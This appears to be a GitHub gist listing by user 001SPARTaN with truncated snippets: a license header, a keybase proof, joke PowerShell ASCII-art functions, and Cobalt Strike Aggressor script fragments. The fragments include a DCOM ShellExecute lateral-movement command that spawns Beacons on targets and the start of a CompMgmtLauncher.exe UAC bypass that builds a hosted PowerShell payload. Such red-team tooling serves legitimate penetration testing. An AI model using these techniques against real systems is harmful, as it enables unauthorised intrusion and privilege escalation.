001SPARTaN

/*
 * ----------------------------------------------------------------------------
 * "THE BEER-WARE LICENSE" (Revision 42):
 * <https://github.com/Legonut> wrote this file.  As long as you retain this
 * notice you can do whatever you want with this stuff. If we meet some day, and
 * you think this stuff is worth it, you can buy me a beer in return. David Rauseo
 * ----------------------------------------------------------------------------
 */

#pragma once

001SPARTaN

# Lateral movement techniques based on research by enigma0x3 (Matt Nelson)
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
# https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
# Beacon implementation based on comexec.cna by Raphael Mudge
# https://gist.github.com/rsmudge/8b2f699ea212c09201a5cb65650c6fa2

# Register alias
beacon_command_register ("dcom_shellexecute", "Lateral movement with DCOM (ShellExecute)",
                        "Usage: dcom_shellexecute [target] [listener]\n\n" .
                        "Spawn new Beacon on a target via DCOM ShellExecute Object.");

001SPARTaN

Keybase proof

I hereby claim:

• I am 001spartan on github.
• I am sosprtn (https://keybase.io/sosprtn) on keybase.
• I have a public key whose fingerprint is 0880 1426 87D2 2566 CA71 3D4A FEE7 C7B0 08E1 27E2

To claim this, I am signing this object:

001SPARTaN

###### PartyParrot
function Invoke-PartyParrot{
    [Alias('PartyParrot')]
    Param()
######################################### Frame 0
    $Frame_9 = @("
                         .cccc;;cc;';c.           
                      .,:dkdc:;;:c:,:d:.          
                     .loc'.,cc::c:::,..;:.        
                   .cl;....;dkdccc::,...c;        

001SPARTaN

#DemoGod
###########################
Function Invoke-DemoGod{
    [Alias('DemoGod','ShowMeWhatYouGot','GiantHead')]
    Param(
        # No Speech
        [Parameter()][Switch]$Silent,
        # Head Only
        [Parameter()][Switch]$NoText
        )

001SPARTaN

on beacon_initial {
    if (-isadmin $1) {
        exec("say -v Fiona 'New admin beacon!'");
    }
}

001SPARTaN

# CompMgmtLauncher.exe UAC bypass from http://x42.obscurechannel.com/?p=368

sub compMgmtLauncher_exploit {
    btask($1, "Task Beacon to run " . listener_describe($2) . " in a high-integrity context.");

    $script = artifact($2, "powershell");

    $oneliner = beacon_host_script($1, $script);
    $oneliner = strrep($oneliner, "IEX ", "");